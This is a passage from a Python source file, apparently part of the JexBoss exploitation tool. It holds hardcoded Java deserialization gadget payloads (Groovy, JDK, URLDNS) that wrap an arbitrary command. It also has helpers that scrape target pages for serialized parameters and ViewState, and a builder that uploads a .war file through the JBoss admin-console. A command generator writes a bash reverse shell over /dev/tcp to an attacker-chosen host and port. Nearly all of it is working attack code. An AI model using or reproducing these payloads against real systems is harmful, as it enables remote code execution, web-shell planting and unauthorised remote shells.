\x76\x61\x2F\x69\x6F\x2F\x53\x65\x72\x69\x61\x6C\x69\x7A\x61\x62\x6C\x65\x01\x00\x0C\x75\x74\x69\
\x6C\x2F\x47\x61\x64\x67\x65\x74\x73\x00\x21\x00\x02\x00\x03\x00\x01\x00\x04\x00\x01\x00\x1A\x00\
\x05\x00\x06\x00\x01\x00\x07\x00\x00\x00\x02\x00\x08\x00\x01\x00\x01\x00\x0A\x00\x0B\x00\x01\x00\
\x0C\x00\x00\x00\x2F\x00\x01\x00\x01\x00\x00\x00\x05\x2A\xB7\x00\x01\xB1\x00\x00\x00\x02\x00\x0D\
\x00\x00\x00\x06\x00\x01\x00\x00\x00\x26\x00\x0E\x00\x00\x00\x0C\x00\x01\x00\x00\x00\x05\x00\x0F\
\x00\x12\x00\x00\x00\x02\x00\x13\x00\x00\x00\x02\x00\x14\x00\x11\x00\x00\x00\x0A\x00\x01\x00\x02\
\x00\x16\x00\x10\x00\x09\x70\x74\x00\x07\x6A\x65\x78\x62\x6F\x73\x73\x70\x77\x01\x00\x78\x73\x7D\
\x00\x00\x00\x01\x00\x1D\x6A\x61\x76\x61\x78\x2E\x78\x6D\x6C\x2E\x74\x72\x61\x6E\x73\x66\x6F\x72\
\x6D\x2E\x54\x65\x6D\x70\x6C\x61\x74\x65\x73\x78\x72\x00\x17\x6A\x61\x76\x61\x2E\x6C\x61\x6E\x67\
\x2E\x72\x65\x66\x6C\x65\x63\x74\x2E\x50\x72\x6F\x78\x79\xE1\x27\xDA\x20\xCC\x10\x43\xCB\x02\x00\
\x02\x4C\x00\x05\x64\x75\x6D\x6D\x79\x74\x00\x12\x4C\x6A\x61\x76\x61\x2F\x6C\x61\x6E\x67\x2F\x4F\
\x62\x6A\x65\x63\x74\x3B\x4C\x00\x01\x68\x74\x00\x25\x4C\x6A\x61\x76\x61\x2F\x6C\x61\x6E\x67\x2F\
\x72\x65\x66\x6C\x65\x63\x74\x2F\x49\x6E\x76\x6F\x63\x61\x74\x69\x6F\x6E\x48\x61\x6E\x64\x6C\x65\
\x72\x3B\x78\x70\x73\x72\x00\x29\x6A\x61\x76\x61\x2E\x62\x65\x61\x6E\x73\x2E\x62\x65\x61\x6E\x63\
\x6F\x6E\x74\x65\x78\x74\x2E\x42\x65\x61\x6E\x43\x6F\x6E\x74\x65\x78\x74\x53\x75\x70\x70\x6F\x72\
\x74\xBC\x48\x20\xF0\x91\x8F\xB9\x0C\x03\x00\x01\x49\x00\x0C\x73\x65\x72\x69\x61\x6C\x69\x7A\x61\
\x62\x6C\x65\x78\x72\x00\x2E\x6A\x61\x76\x61\x2E\x62\x65\x61\x6E\x73\x2E\x62\x65\x61\x6E\x63\x6F\
\x6E\x74\x65\x78\x74\x2E\x42\x65\x61\x6E\x43\x6F\x6E\x74\x65\x78\x74\x43\x68\x69\x6C\x64\x53\x75\
\x70\x70\x6F\x72\x74\x57\xD4\xEF\xC7\x04\xDC\x72\x25\x02\x00\x01\x4C\x00\x14\x62\x65\x61\x6E\x43\
\x6F\x6E\x74\x65\x78\x74\x43\x68\x69\x6C\x64\x50\x65\x65\x72\x74\x00\x29\x4C\x6A\x61\x76\x61\x2F\
\x62\x65\x61\x6E\x73\x2F\x62\x65\x61\x6E\x63\x6F\x6E\x74\x65\x78\x74\x2F\x42\x65\x61\x6E\x43\x6F\
\x6E\x74\x65\x78\x74\x43\x68\x69\x6C\x64\x3B\x78\x70\x71\x00\x7E\x00\x19\x00\x00\x00\x01\x73\x72\
\x00\x32\x73\x75\x6E\x2E\x72\x65\x66\x6C\x65\x63\x74\x2E\x61\x6E\x6E\x6F\x74\x61\x74\x69\x6F\x6E\
\x2E\x41\x6E\x6E\x6F\x74\x61\x74\x69\x6F\x6E\x49\x6E\x76\x6F\x63\x61\x74\x69\x6F\x6E\x48\x61\x6E\
\x64\x6C\x65\x72\x55\xCA\xF5\x0F\x15\xCB\x7E\xA5\x03\x00\x02\x4C\x00\x04\x74\x79\x70\x65\x74\x00\
\x11\x4C\x6A\x61\x76\x61\x2F\x6C\x61\x6E\x67\x2F\x43\x6C\x61\x73\x73\x3B\x4C\x00\x0C\x6D\x65\x6D\
\x62\x65\x72\x56\x61\x6C\x75\x65\x73\x74\x00\x0F\x4C\x6A\x61\x76\x61\x2F\x75\x74\x69\x6C\x2F\x4D\
\x61\x70\x3B\x78\x70\x76\x72\x00\x1D\x6A\x61\x76\x61\x78\x2E\x78\x6D\x6C\x2E\x74\x72\x61\x6E\x73\
\x66\x6F\x72\x6D\x2E\x54\x65\x6D\x70\x6C\x61\x74\x65\x73\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\
\x00\x78\x70\x73\x72\x00\x11\x6A\x61\x76\x61\x2E\x75\x74\x69\x6C\x2E\x48\x61\x73\x68\x4D\x61\x70\
\x05\x07\xDA\xC1\xC3\x16\x60\xD1\x03\x00\x02\x46\x00\x0A\x6C\x6F\x61\x64\x46\x61\x63\x74\x6F\x72\
\x49\x00\x09\x74\x68\x72\x65\x73\x68\x6F\x6C\x64\x78\x70\x3F\x40\x00\x00\x00\x00\x00\x0C\x77\x08\
\x00\x00\x00\x10\x00\x00\x00\x01\x74\x00\x08\x66\x35\x61\x35\x61\x36\x30\x38\x71\x00\x7E\x00\x09\
\x78\x77\x04\x00\x00\x00\x00\x78\x71\x00\x7E\x00\x1D\x78")

    return payload


def generate_groovy1_payload(cmd):
    # org.codehaus.groovy:groovy:2.3.9
    payload_groovy1 = (
        b"\xAC\xED\x00\x05\x73\x72\x00\x32\x73\x75\x6E\x2E\x72\x65\x66\x6C\x65\x63\x74\x2E\x61\x6E\x6E\
\x6F\x74\x61\x74\x69\x6F\x6E\x2E\x41\x6E\x6E\x6F\x74\x61\x74\x69\x6F\x6E\x49\x6E\x76\x6F\x63\x61\
\x74\x69\x6F\x6E\x48\x61\x6E\x64\x6C\x65\x72\x55\xCA\xF5\x0F\x15\xCB\x7E\xA5\x02\x00\x02\x4C\x00\
\x0C\x6D\x65\x6D\x62\x65\x72\x56\x61\x6C\x75\x65\x73\x74\x00\x0F\x4C\x6A\x61\x76\x61\x2F\x75\x74\
\x69\x6C\x2F\x4D\x61\x70\x3B\x4C\x00\x04\x74\x79\x70\x65\x74\x00\x11\x4C\x6A\x61\x76\x61\x2F\x6C\
\x61\x6E\x67\x2F\x43\x6C\x61\x73\x73\x3B\x78\x70\x73\x7D\x00\x00\x00\x01\x00\x0D\x6A\x61\x76\x61\
\x2E\x75\x74\x69\x6C\x2E\x4D\x61\x70\x78\x72\x00\x17\x6A\x61\x76\x61\x2E\x6C\x61\x6E\x67\x2E\x72\
\x65\x66\x6C\x65\x63\x74\x2E\x50\x72\x6F\x78\x79\xE1\x27\xDA\x20\xCC\x10\x43\xCB\x02\x00\x01\x4C\
\x00\x01\x68\x74\x00\x25\x4C\x6A\x61\x76\x61\x2F\x6C\x61\x6E\x67\x2F\x72\x65\x66\x6C\x65\x63\x74\
\x2F\x49\x6E\x76\x6F\x63\x61\x74\x69\x6F\x6E\x48\x61\x6E\x64\x6C\x65\x72\x3B\x78\x70\x73\x72\x00\
\x2C\x6F\x72\x67\x2E\x63\x6F\x64\x65\x68\x61\x75\x73\x2E\x67\x72\x6F\x6F\x76\x79\x2E\x72\x75\x6E\
\x74\x69\x6D\x65\x2E\x43\x6F\x6E\x76\x65\x72\x74\x65\x64\x43\x6C\x6F\x73\x75\x72\x65\x10\x23\x37\
\x19\xF7\x15\xDD\x1B\x02\x00\x01\x4C\x00\x0A\x6D\x65\x74\x68\x6F\x64\x4E\x61\x6D\x65\x74\x00\x12\
\x4C\x6A\x61\x76\x61\x2F\x6C\x61\x6E\x67\x2F\x53\x74\x72\x69\x6E\x67\x3B\x78\x72\x00\x2D\x6F\x72\
\x67\x2E\x63\x6F\x64\x65\x68\x61\x75\x73\x2E\x67\x72\x6F\x6F\x76\x79\x2E\x72\x75\x6E\x74\x69\x6D\
\x65\x2E\x43\x6F\x6E\x76\x65\x72\x73\x69\x6F\x6E\x48\x61\x6E\x64\x6C\x65\x72\x10\x23\x37\x1A\xD6\
\x01\xBC\x1B\x02\x00\x02\x4C\x00\x08\x64\x65\x6C\x65\x67\x61\x74\x65\x74\x00\x12\x4C\x6A\x61\x76\
\x61\x2F\x6C\x61\x6E\x67\x2F\x4F\x62\x6A\x65\x63\x74\x3B\x4C\x00\x0B\x68\x61\x6E\x64\x6C\x65\x43\
\x61\x63\x68\x65\x74\x00\x28\x4C\x6A\x61\x76\x61\x2F\x75\x74\x69\x6C\x2F\x63\x6F\x6E\x63\x75\x72\
\x72\x65\x6E\x74\x2F\x43\x6F\x6E\x63\x75\x72\x72\x65\x6E\x74\x48\x61\x73\x68\x4D\x61\x70\x3B\x78\
\x70\x73\x72\x00\x29\x6F\x72\x67\x2E\x63\x6F\x64\x65\x68\x61\x75\x73\x2E\x67\x72\x6F\x6F\x76\x79\
\x2E\x72\x75\x6E\x74\x69\x6D\x65\x2E\x4D\x65\x74\x68\x6F\x64\x43\x6C\x6F\x73\x75\x72\x65\x11\x0E\
\x3E\x84\x8F\xBD\xCE\x48\x02\x00\x01\x4C\x00\x06\x6D\x65\x74\x68\x6F\x64\x71\x00\x7E\x00\x09\x78\
\x72\x00\x13\x67\x72\x6F\x6F\x76\x79\x2E\x6C\x61\x6E\x67\x2E\x43\x6C\x6F\x73\x75\x72\x65\x3C\xA0\
\xC7\x66\x16\x12\x6C\x5A\x02\x00\x08\x49\x00\x09\x64\x69\x72\x65\x63\x74\x69\x76\x65\x49\x00\x19\
\x6D\x61\x78\x69\x6D\x75\x6D\x4E\x75\x6D\x62\x65\x72\x4F\x66\x50\x61\x72\x61\x6D\x65\x74\x65\x72\
\x73\x49\x00\x0F\x72\x65\x73\x6F\x6C\x76\x65\x53\x74\x72\x61\x74\x65\x67\x79\x4C\x00\x03\x62\x63\
\x77\x74\x00\x3C\x4C\x6F\x72\x67\x2F\x63\x6F\x64\x65\x68\x61\x75\x73\x2F\x67\x72\x6F\x6F\x76\x79\
\x2F\x72\x75\x6E\x74\x69\x6D\x65\x2F\x63\x61\x6C\x6C\x73\x69\x74\x65\x2F\x42\x6F\x6F\x6C\x65\x61\
\x6E\x43\x6C\x6F\x73\x75\x72\x65\x57\x72\x61\x70\x70\x65\x72\x3B\x4C\x00\x08\x64\x65\x6C\x65\x67\
\x61\x74\x65\x71\x00\x7E\x00\x0B\x4C\x00\x05\x6F\x77\x6E\x65\x72\x71\x00\x7E\x00\x0B\x5B\x00\x0E\
\x70\x61\x72\x61\x6D\x65\x74\x65\x72\x54\x79\x70\x65\x73\x74\x00\x12\x5B\x4C\x6A\x61\x76\x61\x2F\
\x6C\x61\x6E\x67\x2F\x43\x6C\x61\x73\x73\x3B\x4C\x00\x0A\x74\x68\x69\x73\x4F\x62\x6A\x65\x63\x74\
\x71\x00\x7E\x00\x0B\x78\x70\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x70\x74\x00")
    if version_info[0] >= 3:
        payload_groovy1 += (bytes(chr(len(cmd)), 'utf-8'))
        payload_groovy1 += (bytes(cmd, 'utf-8'))
    else:
        payload_groovy1 += (chr(len(cmd)))
        payload_groovy1 += (cmd)

    payload_groovy1 += (b"\x71\x00\x7E\x00\x13\x75\x72\
\x00\x12\x5B\x4C\x6A\x61\x76\x61\x2E\x6C\x61\x6E\x67\x2E\x43\x6C\x61\x73\x73\x3B\xAB\x16\xD7\xAE\
\xCB\xCD\x5A\x99\x02\x00\x00\x78\x70\x00\x00\x00\x02\x76\x72\x00\x13\x5B\x4C\x6A\x61\x76\x61\x2E\
\x6C\x61\x6E\x67\x2E\x53\x74\x72\x69\x6E\x67\x3B\xAD\xD2\x56\xE7\xE9\x1D\x7B\x47\x02\x00\x00\x78\
\x70\x76\x72\x00\x0C\x6A\x61\x76\x61\x2E\x69\x6F\x2E\x46\x69\x6C\x65\x04\x2D\xA4\x45\x0E\x0D\xE4\
\xFF\x03\x00\x01\x4C\x00\x04\x70\x61\x74\x68\x71\x00\x7E\x00\x09\x78\x70\x70\x74\x00\x07\x65\x78\
\x65\x63\x75\x74\x65\x73\x72\x00\x26\x6A\x61\x76\x61\x2E\x75\x74\x69\x6C\x2E\x63\x6F\x6E\x63\x75\
\x72\x72\x65\x6E\x74\x2E\x43\x6F\x6E\x63\x75\x72\x72\x65\x6E\x74\x48\x61\x73\x68\x4D\x61\x70\x64\
\x99\xDE\x12\x9D\x87\x29\x3D\x03\x00\x03\x49\x00\x0B\x73\x65\x67\x6D\x65\x6E\x74\x4D\x61\x73\x6B\
\x49\x00\x0C\x73\x65\x67\x6D\x65\x6E\x74\x53\x68\x69\x66\x74\x5B\x00\x08\x73\x65\x67\x6D\x65\x6E\
\x74\x73\x74\x00\x31\x5B\x4C\x6A\x61\x76\x61\x2F\x75\x74\x69\x6C\x2F\x63\x6F\x6E\x63\x75\x72\x72\
\x65\x6E\x74\x2F\x43\x6F\x6E\x63\x75\x72\x72\x65\x6E\x74\x48\x61\x73\x68\x4D\x61\x70\x24\x53\x65\
\x67\x6D\x65\x6E\x74\x3B\x78\x70\x00\x00\x00\x0F\x00\x00\x00\x1C\x75\x72\x00\x31\x5B\x4C\x6A\x61\
\x76\x61\x2E\x75\x74\x69\x6C\x2E\x63\x6F\x6E\x63\x75\x72\x72\x65\x6E\x74\x2E\x43\x6F\x6E\x63\x75\
\x72\x72\x65\x6E\x74\x48\x61\x73\x68\x4D\x61\x70\x24\x53\x65\x67\x6D\x65\x6E\x74\x3B\x52\x77\x3F\
\x41\x32\x9B\x39\x74\x02\x00\x00\x78\x70\x00\x00\x00\x10\x73\x72\x00\x2E\x6A\x61\x76\x61\x2E\x75\
\x74\x69\x6C\x2E\x63\x6F\x6E\x63\x75\x72\x72\x65\x6E\x74\x2E\x43\x6F\x6E\x63\x75\x72\x72\x65\x6E\
\x74\x48\x61\x73\x68\x4D\x61\x70\x24\x53\x65\x67\x6D\x65\x6E\x74\x1F\x36\x4C\x90\x58\x93\x29\x3D\
\x02\x00\x01\x46\x00\x0A\x6C\x6F\x61\x64\x46\x61\x63\x74\x6F\x72\x78\x72\x00\x28\x6A\x61\x76\x61\
\x2E\x75\x74\x69\x6C\x2E\x63\x6F\x6E\x63\x75\x72\x72\x65\x6E\x74\x2E\x6C\x6F\x63\x6B\x73\x2E\x52\
\x65\x65\x6E\x74\x72\x61\x6E\x74\x4C\x6F\x63\x6B\x66\x55\xA8\x2C\x2C\xC8\x6A\xEB\x02\x00\x01\x4C\
\x00\x04\x73\x79\x6E\x63\x74\x00\x2F\x4C\x6A\x61\x76\x61\x2F\x75\x74\x69\x6C\x2F\x63\x6F\x6E\x63\
\x75\x72\x72\x65\x6E\x74\x2F\x6C\x6F\x63\x6B\x73\x2F\x52\x65\x65\x6E\x74\x72\x61\x6E\x74\x4C\x6F\
\x63\x6B\x24\x53\x79\x6E\x63\x3B\x78\x70\x73\x72\x00\x34\x6A\x61\x76\x61\x2E\x75\x74\x69\x6C\x2E\
\x63\x6F\x6E\x63\x75\x72\x72\x65\x6E\x74\x2E\x6C\x6F\x63\x6B\x73\x2E\x52\x65\x65\x6E\x74\x72\x61\
\x6E\x74\x4C\x6F\x63\x6B\x24\x4E\x6F\x6E\x66\x61\x69\x72\x53\x79\x6E\x63\x65\x88\x32\xE7\x53\x7B\
\xBF\x0B\x02\x00\x00\x78\x72\x00\x2D\x6A\x61\x76\x61\x2E\x75\x74\x69\x6C\x2E\x63\x6F\x6E\x63\x75\
\x72\x72\x65\x6E\x74\x2E\x6C\x6F\x63\x6B\x73\x2E\x52\x65\x65\x6E\x74\x72\x61\x6E\x74\x4C\x6F\x63\
\x6B\x24\x53\x79\x6E\x63\xB8\x1E\xA2\x94\xAA\x44\x5A\x7C\x02\x00\x00\x78\x72\x00\x35\x6A\x61\x76\
\x61\x2E\x75\x74\x69\x6C\x2E\x63\x6F\x6E\x63\x75\x72\x72\x65\x6E\x74\x2E\x6C\x6F\x63\x6B\x73\x2E\
\x41\x62\x73\x74\x72\x61\x63\x74\x51\x75\x65\x75\x65\x64\x53\x79\x6E\x63\x68\x72\x6F\x6E\x69\x7A\
\x65\x72\x66\x55\xA8\x43\x75\x3F\x52\xE3\x02\x00\x01\x49\x00\x05\x73\x74\x61\x74\x65\x78\x72\x00\
\x36\x6A\x61\x76\x61\x2E\x75\x74\x69\x6C\x2E\x63\x6F\x6E\x63\x75\x72\x72\x65\x6E\x74\x2E\x6C\x6F\
\x63\x6B\x73\x2E\x41\x62\x73\x74\x72\x61\x63\x74\x4F\x77\x6E\x61\x62\x6C\x65\x53\x79\x6E\x63\x68\
\x72\x6F\x6E\x69\x7A\x65\x72\x33\xDF\xAF\xB9\xAD\x6D\x6F\xA9\x02\x00\x00\x78\x70\x00\x00\x00\x00\
\x3F\x40\x00\x00\x73\x71\x00\x7E\x00\x20\x73\x71\x00\x7E\x00\x24\x00\x00\x00\x00\x3F\x40\x00\x00\
\x73\x71\x00\x7E\x00\x20\x73\x71\x00\x7E\x00\x24\x00\x00\x00\x00\x3F\x40\x00\x00\x73\x71\x00\x7E\
\x00\x20\x73\x71\x00\x7E\x00\x24\x00\x00\x00\x00\x3F\x40\x00\x00\x73\x71\x00\x7E\x00\x20\x73\x71\
\x00\x7E\x00\x24\x00\x00\x00\x00\x3F\x40\x00\x00\x73\x71\x00\x7E\x00\x20\x73\x71\x00\x7E\x00\x24\
\x00\x00\x00\x00\x3F\x40\x00\x00\x73\x71\x00\x7E\x00\x20\x73\x71\x00\x7E\x00\x24\x00\x00\x00\x00\
\x3F\x40\x00\x00\x73\x71\x00\x7E\x00\x20\x73\x71\x00\x7E\x00\x24\x00\x00\x00\x00\x3F\x40\x00\x00\
\x73\x71\x00\x7E\x00\x20\x73\x71\x00\x7E\x00\x24\x00\x00\x00\x00\x3F\x40\x00\x00\x73\x71\x00\x7E\
\x00\x20\x73\x71\x00\x7E\x00\x24\x00\x00\x00\x00\x3F\x40\x00\x00\x73\x71\x00\x7E\x00\x20\x73\x71\
\x00\x7E\x00\x24\x00\x00\x00\x00\x3F\x40\x00\x00\x73\x71\x00\x7E\x00\x20\x73\x71\x00\x7E\x00\x24\
\x00\x00\x00\x00\x3F\x40\x00\x00\x73\x71\x00\x7E\x00\x20\x73\x71\x00\x7E\x00\x24\x00\x00\x00\x00\
\x3F\x40\x00\x00\x73\x71\x00\x7E\x00\x20\x73\x71\x00\x7E\x00\x24\x00\x00\x00\x00\x3F\x40\x00\x00\
\x73\x71\x00\x7E\x00\x20\x73\x71\x00\x7E\x00\x24\x00\x00\x00\x00\x3F\x40\x00\x00\x73\x71\x00\x7E\
\x00\x20\x73\x71\x00\x7E\x00\x24\x00\x00\x00\x00\x3F\x40\x00\x00\x70\x70\x78\x74\x00\x08\x65\x6E\
\x74\x72\x79\x53\x65\x74\x76\x72\x00\x12\x6A\x61\x76\x61\x2E\x6C\x61\x6E\x67\x2E\x4F\x76\x65\x72\
\x72\x69\x64\x65\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x78\x70")

    return payload_groovy1


def generate_urldns_payload(url):
    # based on Gabriel Lawrence gadget
    payload = (b"\xAC\xED\x00\x05\x73\x72\x00\x11\x6A\x61\x76\x61\x2E\x75\x74\x69\x6C\x2E\x48\x61\x73\x68\x4D\
\x61\x70\x05\x07\xDA\xC1\xC3\x16\x60\xD1\x03\x00\x02\x46\x00\x0A\x6C\x6F\x61\x64\x46\x61\x63\x74\
\x6F\x72\x49\x00\x09\x74\x68\x72\x65\x73\x68\x6F\x6C\x64\x78\x70\x3F\x40\x00\x00\x00\x00\x00\x0C\
\x77\x08\x00\x00\x00\x10\x00\x00\x00\x01\x73\x72\x00\x0C\x6A\x61\x76\x61\x2E\x6E\x65\x74\x2E\x55\
\x52\x4C\x96\x25\x37\x36\x1A\xFC\xE4\x72\x03\x00\x07\x49\x00\x08\x68\x61\x73\x68\x43\x6F\x64\x65\
\x49\x00\x04\x70\x6F\x72\x74\x4C\x00\x09\x61\x75\x74\x68\x6F\x72\x69\x74\x79\x74\x00\x12\x4C\x6A\
\x61\x76\x61\x2F\x6C\x61\x6E\x67\x2F\x53\x74\x72\x69\x6E\x67\x3B\x4C\x00\x04\x66\x69\x6C\x65\x71\
\x00\x7E\x00\x03\x4C\x00\x04\x68\x6F\x73\x74\x71\x00\x7E\x00\x03\x4C\x00\x08\x70\x72\x6F\x74\x6F\
\x63\x6F\x6C\x71\x00\x7E\x00\x03\x4C\x00\x03\x72\x65\x66\x71\x00\x7E\x00\x03\x78\x70\xFF\xFF\xFF\
\xFF\xFF\xFF\xFF\xFF\x74\x00")
    if version_info[0] >= 3:
        payload += (bytes(chr(len(url)), 'utf-8'))
        payload += (bytes(url, 'utf-8'))
    else:
        payload += (chr(len(url)))
        payload += (url)
    payload += (b"\x74\x00\x00\x71\x00\x7E\x00\x05\x74\x00\x05\x68\x74\x74\x70\x73\x70\x78\x74\x00\x19\x68\x74\
\x74\x70\x73\x3A\x2F\x2F\x74\x65\x73\x74\x2E\x6A\x65\x78\x62\x6F\x73\x73\x2E\x69\x6E\x66\x6F\x78")

    return payload




def get_payload_gadget(gadget_type, cmd):

    return {

        'commons-collections3.1': generate_commons_collections31_payload(cmd),
        'commons-collections4.0': generate_commons_collections40_payload(cmd),
        'groovy1':                generate_groovy1_payload(cmd),
        'jdk7u21':                generate_jdk7u21_payload(cmd),
        'jdk8u20':                generate_jdk8u20_payload(cmd),
        'dns':                    generate_urldns_payload(cmd),

    }.get(gadget_type, generate_commons_collections31_payload(cmd))


def get_link_for_post(page):
    """
    Search for link to post data in the page
    :param page: The code of the page for search in it
    :return: The link for post method or None
    """
    page = str(page).replace("\\n", "\n")
    # stage 1 - search for form-urlencoded
    for line in page.strip().split('\n'):
        # this is the post line
        if 'application/x-www-form-urlencoded' in line:
            tokens = line.strip().split(" ")
            for t in tokens:
                if 'action' in t and len(t) > 10:
                    return t.split(">")[0][8:-1]

    # stage 2 - search for any post method
    for line in page.strip().split('\n'):
        # this is the post line
        if 'method=\"post\"' in line.lower():
            tokens = line.strip().split(" ")
            for t in tokens:
                if 'action' in t and len(t) > 10:
                    return t.split(">")[0][8:-1]

    return None


def get_serialized_obj_from_param(page, param):
    """
    Get content of a param that contains a java serialized object (base64 gziped or only base64 of raw)
    :param page: The page source code for search in it
    :param param: The param that will be searched
    :return: Param content with java serialized object or None
    """
    page = str(page).replace("\\n", "\n")
    full_param = "name=\""+param+"\""
    for i in page.strip().split('\n'):

        tokens = i.strip().split(" ")

        for t in tokens:
            # get param value
            if full_param in t:
                index = tokens.index(full_param)
                if 'value=\"' in tokens[index+1]:
                    obj = tokens[index+1].split("\"")[1]
                    if obj.startswith("H4sI") or obj.startswith("rO0"):
                        #return last_link, obj
                        return obj
                elif tokens[index+2]:
                    obj = tokens[index+2].split("\"")[1]
                    if obj.startswith("H4sI") or obj.startswith("rO0"):
                        #return last_link, obj
                        return obj
    return None


def get_list_params_with_serialized_objs(page):
    """
    Search for parameters that contain a java serialized object
    :param page: The page source code for search in it
    :return: List of parameters found
    """
    page = str(page).replace("\\n", "\n")
    list_params = []

    for i in page.split('\n'):

        tokens = i.strip().split(" ")

        for ind in range(0, len(tokens)):

            t = tokens[ind]

            if 'value=\"H4sI' in t or 'value=\"rO0' in t:

                if 'name=\"' in tokens[ind-1] or 'id=\"' in tokens[ind-1]:
                    param = tokens[ind-1].split("\"")[1]
                    if param not in list_params:
                        list_params.append(param)

    return list_params


def get_viewstate_value(page):
    """
    Find for content of the viewState param in source code
    :param page: The code of the page for search in it
    :return: The content of the viewstate param or None
    """
    page = str(page).replace("\\n", "\n")
    full_param = "name=\"javax.faces.ViewState\""

    for i in page.strip().split('\n'):

        tokens = i.strip().split(" ")

        for t in tokens:

            # get param value
            if full_param in t:
                index = tokens.index(full_param)
                if 'value=\"' in tokens[index+1]:
                    obj = tokens[index+1].split("\"")[1]
                    return obj
                elif tokens[index+2]:
                    obj = tokens[index+2].split("\"")[1]
                    return obj

    return None


def get_url_base(url):
    """
    Get the Authority from an URI, according with rfc3986
    :param url: The uri provided by the user in -u param
    :return: the authority from the uri
    """
    if '://' in url:
        protocol = url.split('://')[0] + '://'
    else:
        protocol = ''

    url_base = protocol+url.split('://')[-1].split('/')[0]

    return url_base


def get_boundary_admin_console(jboss_version, state, payload):
    """
    Get boundaty for post in admin-console
    :param jboss_version: jboss version. Supported: 5 and 6
    :param state: content of the viewState
    :param payload: the .war to deploy in jboss
    :return: boundary ready to send in post
    """
    boundary = "-----------------------------551367293438156646377323759\r\n"
    if jboss_version == 6:
        data = boundary
        data += "Content-Disposition: form-data; name=\"createContentForm\"\r\n"
        data += "\r\n"
        data += "createContentForm\r\n"
        data += boundary
        data += "Content-Disposition: form-data; name=\"createContentForm:file\"; filename=\"jexws4.war\"\r\n"
        data += "Content-Type: application/octet-stream\r\n"
        data += "\r\n"
        data += payload + "\r\n"
        data += boundary
        data += "Content-Disposition: form-data; name=\"createContentForm:rhq_prop-0_328868266\"\r\n"
        data += "\r\n"
        data += "false\r\n"
        data += boundary
        data += "Content-Disposition: form-data; name=\"createContentForm:rhq_prop-0_-1257012452\"\r\n"
        data += "\r\n"
        data += "false\r\n"
        data += boundary
        data += "Content-Disposition: form-data; name=\"createContentForm:addButton\"\r\n"
        data += "\r\n"
        data += "Continue\r\n"
        data += boundary
        data += "Content-Disposition: form-data; name=\"javax.faces.ViewState\"\r\n"
        data += "\r\n"
        data += state + "\r\n"
        data += "-----------------------------551367293438156646377323759--\r\n"
        return data
    elif jboss_version == 5:
        data = boundary
        data += "Content-Disposition: form-data; name=\"createContentForm\"\r\n"
        data += "\r\n"
        data += "createContentForm\r\n"
        data += boundary
        data += "Content-Disposition: form-data; name=\"createContentForm:file\"; filename=\"jexws4.war\"\r\n"
        data += "Content-Type: application/octet-stream\r\n"
        data += "\r\n"
        data += payload + "\r\n"
        data += boundary
        data += "Content-Disposition: form-data; name=\"createContentForm:rhq_prop-1995377939_328868266\"\r\n"
        data += "\r\n"
        data += "false\r\n"
        data += boundary
        data += "Content-Disposition: form-data; name=\"createContentForm:addButton\"\r\n"
        data += "\r\n"
        data += "Continue\r\n"
        data += boundary
        data += "Content-Disposition: form-data; name=\"javax.faces.ViewState\"\r\n"
        data += "\r\n"
        data += state + "\r\n"
        data += "-----------------------------551367293438156646377323759--\r\n"
        return data


def url_encode(text):
    """
    Encode text to URL Encode
    :param text: text to be encoded
    :return: encoded text
    """
    if version_info[0] >= 3:
        return quote(text)
    else:
        return urllib.quote_plus(text)


def generate_cmd_for_runtime_exec(cmd, host, port, is_win):

    # if is only one command (or dns query)
    if cmd is not None and len(cmd.strip().split(" ")) == 1:
        return cmd
    # if reverse shell were chosen
    elif host is not None and port is not None:
        if not is_win:
            cmd = "/bin/bash -c /bin/bash${IFS}-i>&/dev/tcp/%s/%s<&1" % (host, port)
    else:
        if is_win:
            cmd = "cmd.exe /C %s" % cmd.replace('  ', ' ')
        else:
            cmd = "/bin/bash -c %s" % cmd.replace('  ', ' ').replace(' ', '${IFS}')

    return cmd


def get_html_redirect_link(page):
    """
    Check if the page souce contains a redirect in html and extrat it
    :param page: the page source code
    :return: link to redirect or None
    """
    if 'http-equiv=\"refresh\"' in page.lower():

        page = str(page).replace("\\n", "\n")
        # each line
        for line in page.split('\n'):

            if 'http-equiv=\"refresh\"' in line.lower():
                tokens = line.strip().split("\"")
                # each token
                for t in tokens:
                    if "url=" in t.lower():
                        return t.lower().split('url=')[-1]
    else:
        return None


def shows_payload(payload, gadget_type):
    jexboss.print_and_flush(GREEN + "\n------------------------------------------------------------" + ENDC)
    jexboss.print_and_flush(GREEN + " [*] Payload (%s):\n" %gadget_type+ ENDC)
    jexboss.print_and_flush(url_encode(payload))
    jexboss.print_and_flush(GREEN + "------------------------------------------------------------\n" + ENDC)

